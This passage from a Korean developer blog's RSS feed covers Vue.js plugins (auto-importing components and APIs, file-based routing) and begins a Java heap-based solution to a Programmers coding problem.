&lt;figure id=&quot;og_1742650495715&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Vue.js&quot; data-og-description=&quot;Vue.js - 프로그래시브 자바스트립트 프레임워크&quot; data-og-host=&quot;ko.vuejs.org&quot; data-og-source-url=&quot;https://ko.vuejs.org/guide/components/slots.html#slots&quot; data-og-url=&quot;https://ko.vuejs.org/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bOzsfS/hyYulda2ZM/nSSo3HnOubCMiKGMBA4HDk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400&quot;&gt;&lt;a href=&quot;https://ko.vuejs.org/guide/components/slots.html#slots&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://ko.vuejs.org/guide/components/slots.html#slots&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bOzsfS/hyYulda2ZM/nSSo3HnOubCMiKGMBA4HDk/img.png?width=400&amp;amp;height=400&amp;amp;face=0_0_400_400');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Vue.js&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Vue.js - 프로그래시브 자바스트립트 프레임워크&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;ko.vuejs.org&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;마치며&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;공식 문서로 볼 때 헷갈렸던 게 부모 컴포넌트랑 슬롯 컴포넌트를 계속 번갈아가면서 보니 데이터가 어디로 흘러가는지 헷갈렸다. 분명 탑다운 방식으로 데이터가 흘러간다고 봤었는데 emit 같이 부모에 이벤트같이 전달할 방법이 있다보니 더 헷갈렸던 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뷰를 써본 지 5일 정도 된 거 같은데 기본 문법 정도는 좀 익혔지만 제대로 활용하려고 하니 계속 막히게 된다. 막힐 때마다 이렇게 딥다이브해서 공부하니 집중력도 올라가고 공부하는 재미가 있다.&lt;/p&gt;</description>
      <category>Frontend/Vue.js</category>
      <category>Slot</category>
      <category>vue.js</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/385</guid>
      <comments>https://somuchthings.tistory.com/385#entry385comment</comments>
      <pubDate>Sat, 22 Mar 2025 22:33:20 +0900</pubDate>
    </item>
    <item>
      <title>[Vue.js] unplugin-vue-components</title>
      <link>https://somuchthings.tistory.com/384</link>
      <description>&lt;h3 data-ke-size=&quot;size23&quot;&gt;Basic Vue using Component&amp;nbsp;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Vue에서 기본적으로 한 컴포넌트를 다른 컴포넌트에서 쓰려면 import를 해야 한다.&lt;/p&gt;
&lt;pre id=&quot;code_1742386353064&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;HelloWorld msg=&quot;Hello Vue 3.0 + Vite&quot; /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
  import HelloWorld from './src/components/HelloWorld.vue'

  export default {
    name: 'App',
    components: {
      HelloWorld,
    },
  }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 import 문 없이 template에서 사용한 컴포넌트를 자동 import 해주는 플러그인이 unplugin-vue-components 이다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Using unplugin-vue-components&lt;/h3&gt;
&lt;pre id=&quot;code_1742386429232&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div&amp;gt;
    &amp;lt;HelloWorld msg=&quot;Hello Vue 3.0 + Vite&quot; /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

&amp;lt;script&amp;gt;
  export default {
    name: 'App',
  }
&amp;lt;/script&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이렇게 되면 불필요한 import 를 원천적으로 막아주기 때문에 빌드 파일 크기도 줄일 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자세한 사항은 공식 깃허를 참고하기 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/unplugin/unplugin-vue-components&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/unplugin/unplugin-vue-components&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1742386484571&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - unplugin/unplugin-vue-components:   On-demand components auto importing for Vue&quot; data-og-description=&quot;  On-demand components auto importing for Vue. Contribute to unplugin/unplugin-vue-components development by creating an account on GitHub.&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/unplugin/unplugin-vue-components&quot; data-og-url=&quot;https://github.com/unplugin/unplugin-vue-components&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bfiMNj/hyYqUVmDk6/1qkkfFF9786wKcfKYjos81/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/1yL4W/hyYrXxkLwK/Ed0YH0Xu3MKrBY3uKSm3k1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/unplugin/unplugin-vue-components&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/unplugin/unplugin-vue-components&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bfiMNj/hyYqUVmDk6/1qkkfFF9786wKcfKYjos81/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/1yL4W/hyYrXxkLwK/Ed0YH0Xu3MKrBY3uKSm3k1/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - unplugin/unplugin-vue-components:   On-demand components auto importing for Vue&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;  On-demand components auto importing for Vue. Contribute to unplugin/unplugin-vue-components development by creating an account on GitHub.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Frontend/Vue.js</category>
      <category>unplugin-vue-components</category>
      <category>VUE</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/384</guid>
      <comments>https://somuchthings.tistory.com/384#entry384comment</comments>
      <pubDate>Wed, 19 Mar 2025 21:14:56 +0900</pubDate>
    </item>
    <item>
      <title>[Vue.js] unplugin-auto-import</title>
      <link>https://somuchthings.tistory.com/383</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;앞선 글과 같은 이유로 해당 플러그인을 알아보도록 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://somuchthings.tistory.com/382&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://somuchthings.tistory.com/382&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1742385689518&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;[Vue.js] Unplugin-Vue-Router&quot; data-og-description=&quot;포트폴리오의 프론트엔드 파트를 Vue &amp;amp; Vuetify &amp;amp; Pinia &amp;amp; Vite 스택으로 만들기로 해서 Vuetify에서 제공하는 프로젝트 생성 커맨드로 프로젝트를 만들었다. 설치하고 나니 vite.config.js와 route에 내가 모&quot; data-og-host=&quot;somuchthings.tistory.com&quot; data-og-source-url=&quot;https://somuchthings.tistory.com/382&quot; data-og-url=&quot;https://somuchthings.tistory.com/382&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dku0Ot/hyYqUuojvH/danvES5JyQvcS5zbrPCgC1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cnv3av/hyYvhgL63P/tqlIhVTKYo5T99aB5PCWak/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800&quot;&gt;&lt;a href=&quot;https://somuchthings.tistory.com/382&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://somuchthings.tistory.com/382&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dku0Ot/hyYqUuojvH/danvES5JyQvcS5zbrPCgC1/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800,https://scrap.kakaocdn.net/dn/cnv3av/hyYvhgL63P/tqlIhVTKYo5T99aB5PCWak/img.png?width=800&amp;amp;height=800&amp;amp;face=0_0_800_800');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;[Vue.js] Unplugin-Vue-Router&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;포트폴리오의 프론트엔드 파트를 Vue &amp;amp; Vuetify &amp;amp; Pinia &amp;amp; Vite 스택으로 만들기로 해서 Vuetify에서 제공하는 프로젝트 생성 커맨드로 프로젝트를 만들었다. 설치하고 나니 vite.config.js와 route에 내가 모&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;somuchthings.tistory.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Basic Vue Import&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Vue에서는 기본적으로 API를 사용할 때 'vue'에서 import 해서 사용한다.&lt;/p&gt;
&lt;pre id=&quot;code_1742385764884&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { computed, ref } from 'vue'

const count = ref(0)
const doubled = computed(() =&amp;gt; count.value * 2)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;쓰다 보면 이게 귀찮다고 느낄 수 있다. 이런 경우 unplugin-auto-import를 사용하면 된다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;unplugin-auto-import&lt;/h3&gt;
&lt;pre id=&quot;code_1742385816781&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;const count = ref(0)
const doubled = computed(() =&amp;gt; count.value * 2)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Vite에 적용하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;vite에 적용하려면 vite.config.js의 defineConfig에 등록해주면 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1742385881294&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// vite.config.ts
import AutoImport from 'unplugin-auto-import/vite'

export default defineConfig({
  plugins: [
    AutoImport({ /* options */ }),
  ],
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자세한 사항은 공식 깃허브를 참고하길 바란다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/unplugin/unplugin-auto-import&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/unplugin/unplugin-auto-import&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1742385923444&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - unplugin/unplugin-auto-import: Auto import APIs on-demand for Vite, Webpack and Rollup&quot; data-og-description=&quot;Auto import APIs on-demand for Vite, Webpack and Rollup - unplugin/unplugin-auto-import&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/unplugin/unplugin-auto-import&quot; data-og-url=&quot;https://github.com/unplugin/unplugin-auto-import&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/bYalxV/hyYrTPfyJg/EY13TouBqo99pSCUf1Skn0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bNa0hu/hyYr0t2upk/nJZmTXuoFRhlyU2BgDo1CK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600&quot;&gt;&lt;a href=&quot;https://github.com/unplugin/unplugin-auto-import&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/unplugin/unplugin-auto-import&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/bYalxV/hyYrTPfyJg/EY13TouBqo99pSCUf1Skn0/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600,https://scrap.kakaocdn.net/dn/bNa0hu/hyYr0t2upk/nJZmTXuoFRhlyU2BgDo1CK/img.png?width=1200&amp;amp;height=600&amp;amp;face=0_0_1200_600');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - unplugin/unplugin-auto-import: Auto import APIs on-demand for Vite, Webpack and Rollup&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Auto import APIs on-demand for Vite, Webpack and Rollup - unplugin/unplugin-auto-import&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Frontend/Vue.js</category>
      <category>unplugin-auto-import</category>
      <category>VUE</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/383</guid>
      <comments>https://somuchthings.tistory.com/383#entry383comment</comments>
      <pubDate>Wed, 19 Mar 2025 21:05:36 +0900</pubDate>
    </item>
    <item>
      <title>[Vue.js] Unplugin-Vue-Router</title>
      <link>https://somuchthings.tistory.com/382</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;포트폴리오의 프론트엔드 파트를 Vue &amp;amp; Vuetify &amp;amp; Pinia &amp;amp; Vite 스택으로 만들기로 해서 Vuetify에서 제공하는 프로젝트 생성 커맨드로 프로젝트를 만들었다. 설치하고 나니 vite.config.js와 route에 내가 모르는 플러그인들이 이미 적용되어 있었다. 이제 Vue를 배운지 이틀 정도인데 모르는 것들이 적용되어 있어 당황스러웠고 하나씩 찾아보았다. 그 중 첫 번째로 눈에 띈 것이 unplugin-vue-router 였고 공식문서 기반으로 정리해보도록 한다.&lt;/span&gt;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Basic Vue routing&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;Vue에서는 공식적인 라우터 기능을 Vue-Router에서 제공한다. 여러 페이지 컴포넌트들을 만들어놓고 이것들을 라우터에 등록해야 한다. 기본적인 라우터 코드는 다음과 같다.&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&quot;coffeescript&quot;&gt;&lt;code&gt;import { createRouter, createWebHistory } from 'vue-router'

export const router = createRouter({
  history: createWebHistory(),
  routes: [ 
    { 
      path: '/', 
      component: () =&amp;gt; import('src/pages/Home.vue'), 
    }, 
    { 
      path: '/users/:id', 
      component: () =&amp;gt; import('src/pages/User.vue'), 
    } 
    { 
      path: '/about', 
      component: () =&amp;gt; import('src/pages/About.vue'), 
    }, 
  ]
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;라우팅이 별로 없을 때는 이런식으로 관리해도 괜찮지만 많아질수록 라우터 코드도 많아지고 비대해진다. 이를 해결해주는 플러그인이 &lt;b&gt;unplugin-vue-router&lt;/b&gt; 이다.&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;⚠️이 플러그인은 Vue-Router 4.4 버전 이상에서 사용 가능하다.&lt;/span&gt;&lt;/blockquote&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;unplugin-vue-router&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이 플러그인을 사용하면 파일 기반 라우팅을 가능하게 해준다. Next.js에서 제공하는 기능과 비슷하다고 느꼈다. 이 플러그인을 사용하면 위 코드가 다음과 같이 줄어든다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1742384115174&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { createRouter, createWebHistory } from 'vue-router'
import { routes } from 'vue-router/auto-routes'

export const router = createRouter({
  history: createWebHistory(),
  routes, 
})&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;그리고 파일명을 다음과 같이 변경하면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;src/pages/Home.vue -&amp;gt; src/pages/index.vue&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;src/pages/User.vue -&amp;gt; srsc/pages/users/[id].vue&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;color: #333333;&quot;&gt;src/pages/About.vue -&amp;gt; src/pages/about.vue&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;이러한 설정을 적용하려면 만들어진 router를 createApp().use(router)로 등록해주면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1742384641372&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { createApp } from 'vue'
import { createRouter, createWebHistory } from 'vue-router'
import { routes } from 'vue-router/auto-routes'
import App from './App.vue'

const router = createRouter({
  history: createWebHistory(),
  routes,
})

createApp(App)
  .use(router)
  .mount('#app')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;letter-spacing: 0px; color: #333333;&quot;&gt;만약 빌드 타임에 타입스크립트의 타입 지원을 받고 싶다면 setupLayouts 에 인수로 넣어주면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1742384724617&quot; class=&quot;javascript&quot; data-ke-language=&quot;javascript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import { createApp } from 'vue'
import { setupLayouts } from 'virtual:generated-layouts'
import { createRouter, createWebHistory } from 'vue-router'
import { routes } from 'vue-router/auto-routes'
import App from './App.vue'

const router = createRouter({
  history: createWebHistory(),
  routes: setupLayouts(routes), // setupLayouts 적용
})

createApp(App)
  .use(router)
  .mount('#app')&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;자세한 사항은 공식문서에서 찾아보길 바란다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #333333;&quot;&gt;&lt;a style=&quot;color: #333333;&quot; href=&quot;https://uvr.esm.is/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://uvr.esm.is/&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1742385230895&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;Unplugin Vue Router&quot; data-og-description=&quot;Typed file-based routing for Vue Router&quot; data-og-host=&quot;uvr.esm.is&quot; data-og-source-url=&quot;https://uvr.esm.is/&quot; data-og-url=&quot;https://uvr.esm.is/&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://uvr.esm.is/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://uvr.esm.is/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Unplugin Vue Router&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Typed file-based routing for Vue Router&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;uvr.esm.is&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;</description>
      <category>Frontend/Vue.js</category>
      <category>unplugin vue router</category>
      <category>VUE</category>
      <author>jeidiiy</author>
      <guid isPermaLink="true">https://somuchthings.tistory.com/382</guid>
      <comments>https://somuchthings.tistory.com/382#entry382comment</comments>
      <pubDate>Wed, 19 Mar 2025 20:55:55 +0900</pubDate>
    </item>
    <item>
      <title>[Programmers] 디펜스 게임</title>
      <link>https://somuchthings.tistory.com/381</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/142085&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://school.programmers.co.kr/learn/courses/30/lessons/142085&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1695088387645&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;프로그래머스&quot; data-og-description=&quot;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&quot; data-og-host=&quot;programmers.co.kr&quot; data-og-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/142085&quot; data-og-url=&quot;https://programmers.co.kr/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dsF9fT/hyTVOSFSBV/R1Zw2YjE6i86fvjGpQYKuK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bCUsvO/hyTY9ARxii/v84UppUVZo7qSWtPzMHKkk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630&quot;&gt;&lt;a href=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/142085&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://school.programmers.co.kr/learn/courses/30/lessons/142085&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dsF9fT/hyTVOSFSBV/R1Zw2YjE6i86fvjGpQYKuK/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630,https://scrap.kakaocdn.net/dn/bCUsvO/hyTY9ARxii/v84UppUVZo7qSWtPzMHKkk/img.png?width=1200&amp;amp;height=630&amp;amp;face=0_0_1200_630');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;프로그래머스&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;코드 중심의 개발자 채용. 스택 기반의 포지션 매칭. 프로그래머스의 개발자 맞춤형 프로필을 등록하고, 나와 기술 궁합이 잘 맞는 기업들을 매칭 받으세요.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;programmers.co.kr&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;문제 설명&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제 자체는 명료하다. 적의 공격을 순서대로 막되 무적권을 활용하여 최대한 많은 라운드롤 막아내야 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문제를 잘 이해했다면 무적권은 가능한 적이 많을 때 사용하는 것이 효율적이라는 것을 알 수 있다. 그렇다면 그 '가능한 적이 많을 때' 를 어떻게 처리해야 할까? 처음에는 정렬을 이용해서 해결하려고 했다. enemy를 내림차순 정렬하고 k + 1번째부터 시작하는 식으로 접근했다. 그러나 이렇게 하면 7, 3, [5, 5, 5, 5, 2, 3, 1] -&amp;gt; 5 케이스에서 문제가 생긴다. 3라운드까진 무적권으로 통과하고 4, 5라운드까지 통과하여 최대 5라운드여야 한다. 하지만 정렬을 할 경우 [5, 5, 5, 5, 3, 2, 1] 이 되어 4라운드까지밖에 통과하지 못한다. 이 문제를 해결하기 위해 생각하던 중 힙을 활용하라는 팁을 보고 정렬 대신 힙으로 문제를 해결했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;힙은 최솟값 또는 최댓값을 효율적으로 저장하고 탐색하기 위한 자료구조이다. 이를 이 문제에 활용하려면 무적권을 활용하는 방법을 조금 달리 봐야 한다. 처음엔 무적권 개수만큼 뛰어넘도록 했다. 하지만 다른 방법으로 n이 0보다 작아지면 지난 적들의 수 중 가장 많았던 만큼 더해주는 방법도 사용해볼 수 있다. 위 케이스의 경우는 다음과 같은 흐름이 된다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;n = 7 - 5 = 2, 힙 = [5] -&amp;gt; n이 0보다 크므로 패스&lt;/li&gt;
&lt;li&gt;n = 2 - 5 = -3, 힙 = [5, 5] -&amp;gt; n이 0보다 작으므로 무적권을 써서 5를 더함 -&amp;gt; n = 2, 힙 = [5]&lt;/li&gt;
&lt;li&gt;n = 2 - 5 = -3, 힙 = [5, 5] -&amp;gt; n이 0보다 작으므로 무적권을 써서 5를 더함 -&amp;gt; n = 2, 힙 = [5]&lt;/li&gt;
&lt;li&gt;n = 2 - 5 = -3, 힙 = [5, 5] -&amp;gt; n이 0보다 작으므로 무적권을 써서 5를 더함 -&amp;gt; n = 2, 힙 = [5]&lt;/li&gt;
&lt;li&gt;n = 2 - 2 = 0, 힙 = [5, 2] -&amp;gt; n이 0과 같으므로 패스&lt;/li&gt;
&lt;li&gt;n = 0 - 3 = -3, 힙 = [5, 3, 2] -&amp;gt; n이 0보다 작으나 무적권을 모두 사용했기 때문에 종료&lt;/li&gt;
&lt;/ol&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;코드&lt;/h2&gt;
&lt;pre id=&quot;code_1695089179373&quot; class=&quot;java&quot; data-ke-language=&quot;java&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;import java.util.Collections;
import java.util.PriorityQueue;

class Solution {
    public int solution(int n, int k, int[] enemy) {
        int answer = 0;
        PriorityQueue&amp;lt;Integer&amp;gt; heap = new PriorityQueue&amp;lt;&amp;gt;(Collections.reverseOrder());
        
        for (int i = 0; i &amp;lt; enemy.length; i++) {
            n -= enemy[i];
